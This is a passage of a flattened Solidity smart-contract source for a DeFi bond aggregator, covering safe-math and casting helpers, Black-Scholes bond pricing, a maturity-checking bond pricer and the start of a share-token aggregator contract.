function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: contracts/BondToken_and_GDOTC/math/UseSafeMath.sol
pragma solidity 0.7.1;
/**
* @notice ((a - 1) / b) + 1 = (a + b -1) / b
* for example a.add(10**18 -1).div(10**18) = a.sub(1).div(10**18) + 1
*/
library SafeMathDivRoundUp {
using SafeMath for uint256;
function divRoundUp(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
require(b > 0, errorMessage);
return ((a - 1) / b) + 1;
}
function divRoundUp(uint256 a, uint256 b) internal pure returns (uint256) {
return divRoundUp(a, b, "SafeMathDivRoundUp: modulo by zero");
}
}
/**
* @title UseSafeMath
* @dev One can use SafeMath for not only uint256 but also uin64 or uint16,
* and also can use SafeCast for uint256.
* For example:
* uint64 a = 1;
* uint64 b = 2;
* a = a.add(b).toUint64() // `a` become 3 as uint64
* In addition, one can use SignedSafeMath and SafeCast.toUint256(int256) for int256.
* In the case of the operation to the uint64 value, one needs to cast the value into int256 in
* advance to use `sub` as SignedSafeMath.sub not SafeMath.sub.
* For example:
* int256 a = 1;
* uint64 b = 2;
* int256 c = 3;
* a = a.add(int256(b).sub(c)); // `a` becomes 0 as int256
* b = a.toUint256().toUint64(); // `b` becomes 0 as uint64
*/
abstract contract UseSafeMath {
using SafeMath for uint256;
using SafeMathDivRoundUp for uint256;
using SafeMath for uint64;
using SafeMathDivRoundUp for uint64;
using SafeMath for uint16;
using SignedSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
}
// File: contracts/BondToken_and_GDOTC/math/AdvancedMath.sol
pragma solidity 0.7.1;
abstract contract AdvancedMath {
/**
* @dev sqrt(2*PI) * 10^8
*/
int256 internal constant SQRT_2PI_E8 = 250662827;
int256 internal constant PI_E8 = 314159265;
int256 internal constant E_E8 = 271828182;
int256 internal constant INV_E_E8 = 36787944; // 1/e
int256 internal constant LOG2_E8 = 30102999;
int256 internal constant LOG3_E8 = 47712125;
int256 internal constant p = 23164190;
int256 internal constant b1 = 31938153;
int256 internal constant b2 = -35656378;
int256 internal constant b3 = 178147793;
int256 internal constant b4 = -182125597;
int256 internal constant b5 = 133027442;
/**
* @dev Calcurate an approximate value of the square root of x by Babylonian method.
*/
function _sqrt(int256 x) internal pure returns (int256 y) {
require(x >= 0, "cannot calculate the square root of a negative number");
int256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/**
* @dev Returns log(x) for any positive x.
*/
function _logTaylor(int256 inputE4) internal pure returns (int256 outputE4) {
require(inputE4 > 1, "input should be positive number");
int256 inputE8 = inputE4 * 10**4;
// input x for _logTayler1 is adjusted to 1/e < x < 1.
while (inputE8 < INV_E_E8) {
inputE8 = (inputE8 * E_E8) / 10**8;
outputE4 -= 10**4;
}
while (inputE8 > 10**8) {
inputE8 = (inputE8 * INV_E_E8) / 10**8;
outputE4 += 10**4;
}
outputE4 += _logTaylor1(inputE8 / 10**4 - 10**4);
}
/**
* @notice Calculate an approximate value of the logarithm of input value by
* Taylor expansion around 1.
* @dev log(x + 1) = x - 1/2 x^2 + 1/3 x^3 - 1/4 x^4 + 1/5 x^5
* - 1/6 x^6 + 1/7 x^7 - 1/8 x^8 + ...
*/
function _logTaylor1(int256 inputE4) internal pure returns (int256 outputE4) {
outputE4 =
inputE4 -
inputE4**2 /
(2 * 10**4) +
inputE4**3 /
(3 * 10**8) -
inputE4**4 /
(4 * 10**12) +
inputE4**5 /
(5 * 10**16) -
inputE4**6 /
(6 * 10**20) +
inputE4**7 /
(7 * 10**24) -
inputE4**8 /
(8 * 10**28);
}
/**
* @notice Calculate the cumulative distribution function of standard normal
* distribution.
* @dev Abramowitz and Stegun, Handbook of Mathematical Functions (1964)
* http://people.math.sfu.ca/~cbm/aands/
*/
function _calcPnorm(int256 inputE4) internal pure returns (int256 outputE8) {
require(inputE4 < 440 * 10**4 && inputE4 > -440 * 10**4, "input is too large");
int256 _inputE4 = inputE4 > 0 ? inputE4 : inputE4 * (-1);
int256 t = 10**16 / (10**8 + (p * _inputE4) / 10**4);
int256 X2 = (inputE4 * inputE4) / 2;
int256 exp2X2 = 10**8 +
X2 +
(X2**2 / (2 * 10**8)) +
(X2**3 / (6 * 10**16)) +
(X2**4 / (24 * 10**24)) +
(X2**5 / (120 * 10**32)) +
(X2**6 / (720 * 10**40));
int256 Z = (10**24 / exp2X2) / SQRT_2PI_E8;
int256 y = (b5 * t) / 10**8;
y = ((y + b4) * t) / 10**8;
y = ((y + b3) * t) / 10**8;
y = ((y + b2) * t) / 10**8;
y = 10**8 - (Z * ((y + b1) * t)) / 10**16;
return inputE4 > 0 ? y : 10**8 - y;
}
}
// File: contracts/BondToken_and_GDOTC/bondPricer/GeneralizedPricing.sol
pragma solidity 0.7.1;
/**
* @dev The decimals of price, point, spotPrice and strikePrice are all the same.
*/
contract GeneralizedPricing is AdvancedMath {
using SafeMath for uint256;
/**
* @dev sqrt(365*86400) * 10^8
*/
int256 internal constant SQRT_YEAR_E8 = 5615.69229926 * 10**8;
int256 internal constant MIN_ND1_E8 = 0.0001 * 10**8;
int256 internal constant MAX_ND1_E8 = 0.9999 * 10**8;
uint256 internal constant MAX_LEVERAGE_E8 = 1000 * 10**8;
/**
* @notice Calculate bond price and leverage by black-scholes formula.
* @param bondType type of target bond.
* @param points coodinates of polyline which is needed for price calculation
* @param untilMaturity Remaining period of target bond in second
**/
function calcPriceAndLeverage(
BondType bondType,
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) public pure returns (uint256 price, uint256 leverageE8) {
if (bondType == BondType.LBT_SHAPE) {
(price, leverageE8) = _calcLbtShapePriceAndLeverage(
points,
spotPrice,
volatilityE8,
untilMaturity
);
} else if (bondType == BondType.SBT_SHAPE) {
(price, leverageE8) = _calcSbtShapePrice(
points,
spotPrice,
volatilityE8,
untilMaturity
);
} else if (bondType == BondType.TRIANGLE) {
(price, leverageE8) = _calcTrianglePrice(
points,
spotPrice,
volatilityE8,
untilMaturity
);
} else if (bondType == BondType.PURE_SBT) {
(price, leverageE8) = _calcPureSBTPrice(points, spotPrice, volatilityE8, untilMaturity);
}
}
/**
* @notice Calculate pure call option price and multiply incline of LBT.
**/
function _calcLbtShapePriceAndLeverage(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) internal pure returns (uint256 price, uint256 leverageE8) {
require(points.length == 3, "3 coordinates is needed for LBT price calculation");
uint256 inclineE8 = (points[2].mul(10**8)).div(points[1].sub(points[0]));
(uint256 callOptionPriceE8, int256 nd1E8) = calcCallOptionPrice(
spotPrice,
int256(points[0]),
volatilityE8,
untilMaturity
);
price = (callOptionPriceE8 * inclineE8) / 10**8;
leverageE8 = _calcLbtLeverage(
uint256(spotPrice),
price,
(nd1E8 * int256(inclineE8)) / 10**8
);
}
/**
* @notice Calculate (etherPrice - call option price at strike price of SBT).
**/
function _calcPureSBTPrice(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) internal pure returns (uint256 price, uint256 leverageE8) {
require(points.length == 1, "1 coordinate is needed for pure SBT price calculation");
(uint256 callOptionPrice1, int256 nd1E8) = calcCallOptionPrice(
spotPrice,
int256(points[0]),
volatilityE8,
untilMaturity
);
price = uint256(spotPrice) > callOptionPrice1 ? (uint256(spotPrice) - callOptionPrice1) : 0;
leverageE8 = _calcLbtLeverage(uint256(spotPrice), price, 10**8 - nd1E8);
}
/**
* @notice Calculate (call option1 - call option2) * incline of SBT.
______ /
/ /
/ = / - /
_______/ _______/ ___________/
SBT SHAPE BOND CALL OPTION 1 CALL OPTION 2
**/
function _calcSbtShapePrice(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) internal pure returns (uint256 price, uint256 leverageE8) {
require(points.length == 3, "3 coordinates is needed for SBT price calculation");
uint256 inclineE8 = (points[2].mul(10**8)).div(points[1].sub(points[0]));
(uint256 callOptionPrice1, int256 nd11E8) = calcCallOptionPrice(
spotPrice,
int256(points[0]),
volatilityE8,
untilMaturity
);
(uint256 callOptionPrice2, int256 nd12E8) = calcCallOptionPrice(
spotPrice,
int256(points[1]),
volatilityE8,
untilMaturity
);
price = callOptionPrice1 > callOptionPrice2
? (inclineE8 * (callOptionPrice1 - callOptionPrice2)) / 10**8
: 0;
leverageE8 = _calcLbtLeverage(
uint256(spotPrice),
price,
(int256(inclineE8) * (nd11E8 - nd12E8)) / 10**8
);
}
/**
* @notice Calculate (call option1 * left incline) - (call option2 * (left incline + right incline)) + (call option3 * right incline).
/
/
/
/\ / \
/ \ / \
/ \ = / - \ +
_______/ \________ _______/ _______ \ __________________
\ \
\ \
**/
function _calcTrianglePrice(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) internal pure returns (uint256 price, uint256 leverageE8) {
require(
points.length == 4,
"4 coordinates is needed for triangle option price calculation"
);
uint256 incline1E8 = (points[2].mul(10**8)).div(points[1].sub(points[0]));
uint256 incline2E8 = (points[2].mul(10**8)).div(points[3].sub(points[1]));
(uint256 callOptionPrice1, int256 nd11E8) = calcCallOptionPrice(
spotPrice,
int256(points[0]),
volatilityE8,
untilMaturity
);
(uint256 callOptionPrice2, int256 nd12E8) = calcCallOptionPrice(
spotPrice,
int256(points[1]),
volatilityE8,
untilMaturity
);
(uint256 callOptionPrice3, int256 nd13E8) = calcCallOptionPrice(
spotPrice,
int256(points[3]),
volatilityE8,
untilMaturity
);
int256 nd1E8 = ((nd11E8 * int256(incline1E8)) +
(nd13E8 * int256(incline2E8)) -
(int256(incline1E8 + incline2E8) * nd12E8)) / 10**8;
uint256 price12 = (callOptionPrice1 * incline1E8) + (callOptionPrice3 * incline2E8);
price = price12 > (incline1E8 + incline2E8) * callOptionPrice2
? (price12 - ((incline1E8 + incline2E8) * callOptionPrice2)) / 10**8
: 0;
leverageE8 = _calcLbtLeverage(uint256(spotPrice), price, nd1E8);
}
/**
* @dev calcCallOptionPrice() imposes the restrictions of strikePrice, spotPrice, nd1E8 and nd2E8.
*/
function _calcLbtPrice(
int256 spotPrice,
int256 strikePrice,
int256 nd1E8,
int256 nd2E8
) internal pure returns (int256 lbtPrice) {
int256 lowestPrice = (spotPrice > strikePrice) ? spotPrice - strikePrice : 0;
lbtPrice = (spotPrice * nd1E8 - strikePrice * nd2E8) / 10**8;
if (lbtPrice < lowestPrice) {
lbtPrice = lowestPrice;
}
}
/**
* @dev calcCallOptionPrice() imposes the restrictions of spotPrice, lbtPrice and nd1E8.
*/
function _calcLbtLeverage(
uint256 spotPrice,
uint256 lbtPrice,
int256 nd1E8
) internal pure returns (uint256 lbtLeverageE8) {
int256 modifiedNd1E8 = nd1E8 < MIN_ND1_E8 ? MIN_ND1_E8 : nd1E8 > MAX_ND1_E8
? MAX_ND1_E8
: nd1E8;
return lbtPrice != 0 ? (uint256(modifiedNd1E8) * spotPrice) / lbtPrice : MAX_LEVERAGE_E8;
}
/**
* @notice Calculate pure call option price and N(d1) by black-scholes formula.
* @param spotPrice is a oracle price.
* @param strikePrice Strike price of call option
* @param volatilityE8 is a oracle volatility.
* @param untilMaturity Remaining period of target bond in second
**/
function calcCallOptionPrice(
int256 spotPrice,
int256 strikePrice,
int256 volatilityE8,
int256 untilMaturity
) public pure returns (uint256 price, int256 nd1E8) {
require(spotPrice > 0 && spotPrice < 10**13, "oracle price should be between 0 and 10^13");
require(
volatilityE8 > 0 && volatilityE8 < 10 * 10**8,
"oracle volatility should be between 0% and 1000%"
);
require(
untilMaturity > 0 && untilMaturity < 31536000,
"the bond should not have expired and less than 1 year"
);
require(
strikePrice > 0 && strikePrice < 10**13,
"strike price should be between 0 and 10^13"
);
int256 spotPerStrikeE4 = (spotPrice * 10**4) / strikePrice;
int256 sigE8 = (volatilityE8 * (_sqrt(untilMaturity)) * (10**8)) / SQRT_YEAR_E8;
int256 logSigE4 = _logTaylor(spotPerStrikeE4);
int256 d1E4 = ((logSigE4 * 10**8) / sigE8) + (sigE8 / (2 * 10**4));
nd1E8 = _calcPnorm(d1E4);
int256 d2E4 = d1E4 - (sigE8 / 10**4);
int256 nd2E8 = _calcPnorm(d2E4);
price = uint256(_calcLbtPrice(spotPrice, strikePrice, nd1E8, nd2E8));
}
}
// File: contracts/BondToken_and_GDOTC/bondPricer/CustomGeneralizedPricing.sol
pragma solidity 0.7.1;
abstract contract CustomGeneralizedPricing is BondPricerInterface {
using SafeMath for uint256;
GeneralizedPricing internal immutable _originalBondPricerAddress;
constructor(address originalBondPricerAddress) {
_originalBondPricerAddress = GeneralizedPricing(originalBondPricerAddress);
}
function calcPriceAndLeverage(
BondType bondType,
uint256[] calldata points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) external view override returns (uint256 price, uint256 leverageE8) {
(price, leverageE8) = _originalBondPricerAddress.calcPriceAndLeverage(
bondType,
points,
spotPrice,
volatilityE8,
untilMaturity
);
if (bondType == BondType.LBT_SHAPE) {
require(
_isAcceptableLbt(points, spotPrice, volatilityE8, untilMaturity, price, leverageE8),
"the liquid bond is not acceptable"
);
} else if (bondType == BondType.SBT_SHAPE) {
require(
_isAcceptableSbt(points, spotPrice, volatilityE8, untilMaturity, price, leverageE8),
"the solid bond is not acceptable"
);
} else if (bondType == BondType.TRIANGLE) {
require(
_isAcceptableTriangleBond(
points,
spotPrice,
volatilityE8,
untilMaturity,
price,
leverageE8
),
"the triangle bond is not acceptable"
);
} else if (bondType == BondType.PURE_SBT) {
require(
_isAcceptablePureSbt(
points,
spotPrice,
volatilityE8,
untilMaturity,
price,
leverageE8
),
"the pure solid bond is not acceptable"
);
} else {
require(
_isAcceptableOtherBond(
points,
spotPrice,
volatilityE8,
untilMaturity,
price,
leverageE8
),
"the bond is not acceptable"
);
}
}
function originalBondPricer() external view returns (address originalBondPricerAddress) {
originalBondPricerAddress = address(_originalBondPricerAddress);
}
function _isAcceptableLbt(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity,
uint256 bondPrice,
uint256 bondLeverageE8
) internal view virtual returns (bool);
function _isAcceptableSbt(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity,
uint256 bondPrice,
uint256 bondLeverageE8
) internal view virtual returns (bool);
function _isAcceptableTriangleBond(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity,
uint256 bondPrice,
uint256 bondLeverageE8
) internal view virtual returns (bool);
function _isAcceptablePureSbt(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity,
uint256 bondPrice,
uint256 bondLeverageE8
) internal view virtual returns (bool);
function _isAcceptableOtherBond(
uint256[] memory points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity,
uint256 bondPrice,
uint256 bondLeverageE8
) internal view virtual returns (bool);
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/BondToken_and_GDOTC/util/Time.sol
pragma solidity 0.7.1;
abstract contract Time {
function _getBlockTimestampSec() internal view returns (uint256 unixtimesec) {
unixtimesec = block.timestamp; // solhint-disable-line not-rely-on-time
}
}
// File: contracts/contracts/SimpleAggregator/BondPricerWithAcceptableMaturity.sol
pragma solidity 0.7.1;
contract BondPricerWithAcceptableMaturity is CustomGeneralizedPricing, Ownable, Time {
using SafeMath for uint256;
uint256 internal _acceptableMaturity;
event LogUpdateAcceptableMaturity(uint256 acceptableMaturity);
constructor(address originalBondPricerAddress)
CustomGeneralizedPricing(originalBondPricerAddress)
{
_updateAcceptableMaturity(0);
}
function updateAcceptableMaturity(uint256 acceptableMaturity) external onlyOwner {
_updateAcceptableMaturity(acceptableMaturity);
}
function getAcceptableMaturity() external view returns (uint256 acceptableMaturity) {
acceptableMaturity = _acceptableMaturity;
}
function _updateAcceptableMaturity(uint256 acceptableMaturity) internal {
_acceptableMaturity = acceptableMaturity;
emit LogUpdateAcceptableMaturity(acceptableMaturity);
}
function _isAcceptableLbt(
uint256[] memory,
int256 etherPriceE8,
int256 ethVolatilityE8,
int256 untilMaturity,
uint256,
uint256
) internal view override returns (bool) {
_isAcceptable(etherPriceE8, ethVolatilityE8, untilMaturity);
return true;
}
function _isAcceptableSbt(
uint256[] memory,
int256 etherPriceE8,
int256 ethVolatilityE8,
int256 untilMaturity,
uint256,
uint256
) internal view override returns (bool) {
_isAcceptable(etherPriceE8, ethVolatilityE8, untilMaturity);
return true;
}
function _isAcceptableTriangleBond(
uint256[] memory,
int256 etherPriceE8,
int256 ethVolatilityE8,
int256 untilMaturity,
uint256,
uint256
) internal view override returns (bool) {
_isAcceptable(etherPriceE8, ethVolatilityE8, untilMaturity);
return true;
}
function _isAcceptablePureSbt(
uint256[] memory,
int256 etherPriceE8,
int256 ethVolatilityE8,
int256 untilMaturity,
uint256,
uint256
) internal view override returns (bool) {
_isAcceptable(etherPriceE8, ethVolatilityE8, untilMaturity);
return true;
}
function _isAcceptableOtherBond(
uint256[] memory,
int256,
int256,
int256,
uint256,
uint256
) internal pure override returns (bool) {
revert("the bond is not pure SBT type");
}
/**
* @notice Add this function to CustomGeneralizedPricing
* When user sells bond which expired or whose maturity is after the aggregator's maturity, revert the transaction
*/
function _isAcceptable(
int256 etherPriceE8,
int256 ethVolatilityE8,
int256 untilMaturity
) internal view {
require(
etherPriceE8 > 0 && etherPriceE8 < 100000 * 10**8,
"ETH price should be between $0 and $100000"
);
require(
ethVolatilityE8 > 0 && ethVolatilityE8 < 10 * 10**8,
"ETH volatility should be between 0% and 1000%"
);
require(untilMaturity >= 0, "the bond has been expired");
require(untilMaturity <= 12 weeks, "the bond maturity must be less than 12 weeks");
require(
_getBlockTimestampSec().add(uint256(untilMaturity)) <= _acceptableMaturity,
"the bond maturity must not exceed the current maturity of aggregator"
);
}
}
// File: contracts/contracts/Interfaces/BondRegistratorInterface.sol
pragma solidity 0.7.1;
interface BondRegistratorInterface {
struct Points {
uint64 x1;
uint64 y1;
uint64 x2;
uint64 y2;
}
function getFnMap(Points[] memory points)
external
pure
returns (bytes memory fnMap);
function registerSBT(
BondMakerInterface bondMaker,
uint64 sbtStrikePrice,
uint64 maturity
) external returns (bytes32);
function registerBondGroup(
BondMakerInterface bondMaker,
uint256 callStrikePrice,
uint64 sbtStrikePrice,
uint64 maturity,
bytes32 SBTId
) external returns (uint256 bondGroupId);
function registerBond(
BondMakerInterface bondMaker,
Points[] memory points,
uint256 maturity
) external returns (bytes32);
}
// File: contracts/contracts/Interfaces/UseVolatilityOracle.sol
pragma solidity 0.7.1;
contract UseVolatilityOracle {
using SafeMath for uint256;
using SafeCast for uint256;
VolatilityOracleInterface volOracle;
constructor(VolatilityOracleInterface _volOracle) {
volOracle = _volOracle;
}
function _getVolatility(uint256 maturity) internal view returns (uint256) {
return volOracle.getVolatility(maturity.sub(block.timestamp).toUint64());
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.7.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/contracts/SimpleAggregator/SimpleAggregator.sol
pragma solidity 0.7.1;
abstract contract SimpleAggregator is SimpleAggregatorInterface, UseVolatilityOracle {
using SafeMath for uint256;
using SafeCast for uint256;
using SafeERC20 for ERC20;
struct ReceivedCollateral {
uint128 term;
uint128 value;
}
struct UnRemovedToken {
uint128 term;
uint128 value;
}
struct LiquidationData {
uint32 endBondGroupId;
uint32 liquidatedBondGroupID;
bool isLiquidated;
}
struct TermInfo {
uint64 maturity;
uint64 strikePrice;
bytes32 SBTId;
}
struct ShareData {
uint128 totalShare;
uint128 totalCollateralPerToken;
}
struct BalanceData {
uint128 balance;
uint64 rewardAmount;
uint64 term;
}
uint256 constant INFINITY = uint256(-1);
uint256 constant COOLTIME = 3600 * 24 * 3;
SimpleStrategyInterface internal immutable STRATEGY;
ExchangeInterface internal immutable DOTC;
ERC20 internal immutable REWARD_TOKEN;
BondPricerWithAcceptableMaturity internal immutable BOND_PRICER;
LatestPriceOracleInterface internal immutable ORACLE;
BondMakerInterface internal immutable BONDMAKER;
BondRegistratorInterface internal immutable BOND_REGISTRATOR;
address internal immutable OWNER;
bool internal immutable REVERSE_ORACLE;
int16 internal constant MAX_SUPPLY_DENUMERATOR = 8;
uint64 internal immutable BASE_PRICE_UNIT;
mapping(uint256 => TermInfo) internal termInfo;
mapping(uint256 => uint256[]) internal issuableBondGroupIds;
mapping(uint256 => mapping(uint256 => uint256)) internal strikePriceToBondGroup;
TotalReward[] internal totalRewards;
// Aggregator Status
mapping(uint256 => LiquidationData) internal liquidationData;
mapping(uint256 => ShareData) internal shareData;
uint256 internal currentTerm;
uint64 internal priceUnit;
uint64 internal lastTrancheTime;
uint32 internal startBondGroupId = 1;
int16 internal currentFeeBase;
bool internal isTotalSupplyDanger;
mapping(address => ReceivedCollateral) internal receivedCollaterals;
mapping(address => UnRemovedToken) internal unremovedTokens;
mapping(address => BalanceData) internal balance;
mapping(address => mapping(address => uint128)) internal allowances;
uint8 public constant override decimals = 8;
string public constant override symbol = "LASH";
string public constant override name = "LIEN_AGGREGATOR_SHARE";
mapping(uint256 => uint128) internal totalReceivedCollateral;
mapping(uint256 => uint128) internal totalUnremovedTokens;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event SetAddLiquidity(address indexed user, uint256 indexed term, uint256 collateralAmount);
event SetRemoveLiquidity(address indexed user, uint256 indexed term, uint256 tokenAmount);
event SettleLiquidity(
address indexed user,
uint256 indexed term,
uint256 collateralAmount,
uint256 tokenAmount
);
event TrancheBond(
uint64 indexed issueBondGroupId,
uint64 issueAmount,
uint64 indexed burnBondGroupId,
uint64 burnAmount
);
event UpdateMaturity(uint64 indexed term, int16 newFeeBase, uint64 maturity);
event AddLiquidity(address indexed user, uint256 tokenAmount);
modifier isActive() {
require(block.timestamp <= termInfo[currentTerm].maturity, "Not active");
_;
}
modifier endCoolTime() {
require(block.timestamp > lastTrancheTime + COOLTIME, "Cool Time");
_;
}
modifier afterMaturity() {
require(block.timestamp > termInfo[currentTerm].maturity, "Not Matured");
_;
}
modifier isRunning() {
require(currentTerm != 0, "Not running");
_;
}
// When collateralPerToken becomes very small value, total supply of share token can overflow
modifier isSafeSupply() {
require(!isTotalSupplyDanger, "Unsafe supply");
_;
}
modifier onlyBonusProvider() {
require(msg.sender == OWNER, "Only provider");
_;
}
constructor(
LatestPriceOracleInterface _oracle,
BondPricerWithAcceptableMaturity _pricer,
SimpleStrategyInterface _strategy,
ERC20 _rewardToken,
BondRegistratorInterface _registrator,
ExchangeInterface _exchangeAddress,
uint64 _priceUnit,
uint64 _firstRewardRate,
bool _reverseOracle,
VolatilityOracleInterface _volOracle
) UseVolatilityOracle(_volOracle) {
BONDMAKER = _exchangeAddress.bondMakerAddress();
BOND_PRICER = _pricer;
ORACLE = _oracle;
BASE_PRICE_UNIT = _priceUnit;
REVERSE_ORACLE = _reverseOracle;
REWARD_TOKEN = _rewardToken;
BOND_REGISTRATOR = _registrator;
DOTC = _exchangeAddress;
STRATEGY = _strategy;
totalRewards.push(TotalReward(1, _firstRewardRate));
priceUnit = _priceUnit;
OWNER = msg.sender;
require(
_firstRewardRate >= 10**decimals && _firstRewardRate <= 1000000 * 10**decimals,
"Out of range"
);
}
/**
* @notice Update maturity and strike price of SBT
* Then, determine total amount of collateral asset and totalSupply of share token
* Collateral asset to be withdrawn in `settleTokens()` is sent for reserve contract
*/
function renewMaturity() public override {
uint256 totalUnsentTokens;
uint256 collateralPerTokenE8;
uint256 _currentTerm = currentTerm;
uint256 currentUnremoved = totalUnremovedTokens[_currentTerm];
require(liquidationData[_currentTerm].isLiquidated || _currentTerm == 0, "Not expired yet");
uint256 totalShare = shareData[_currentTerm].totalShare;
if (totalShare > 0) {
uint256 collateralAmount = getCollateralAmount();
collateralPerTokenE8 = _applyDecimalGap(
collateralAmount.mul(10**decimals).div(totalShare),
true
);
totalUnsentTokens = _applyDecimalGap(
uint256(totalReceivedCollateral[_currentTerm]).mul(10**decimals) /
collateralPerTokenE8,
true
);
} else if (totalReceivedCollateral[_currentTerm] > 0) {
totalUnsentTokens = _applyDecimalGap(totalReceivedCollateral[_currentTerm], true);
collateralPerTokenE8 = 10**decimals;
}
uint256 _totalSupply = totalShare + totalUnsentTokens;
shareData[_currentTerm + 1].totalCollateralPerToken = collateralPerTokenE8.toUint128();
shareData[_currentTerm + 1].totalShare = uint256(totalShare)
.add(totalUnsentTokens)
.sub(currentUnremoved)
.toUint128();
if (
shareData[_currentTerm + 1].totalShare >
uint128(-1) / 10**uint128(MAX_SUPPLY_DENUMERATOR)
) {
isTotalSupplyDanger = true;
}
if (_currentTerm != 0) {
_updateFeeBase();
}
if (_totalSupply > 0 && currentUnremoved > 0) {
_reserveAsset(collateralPerTokenE8);
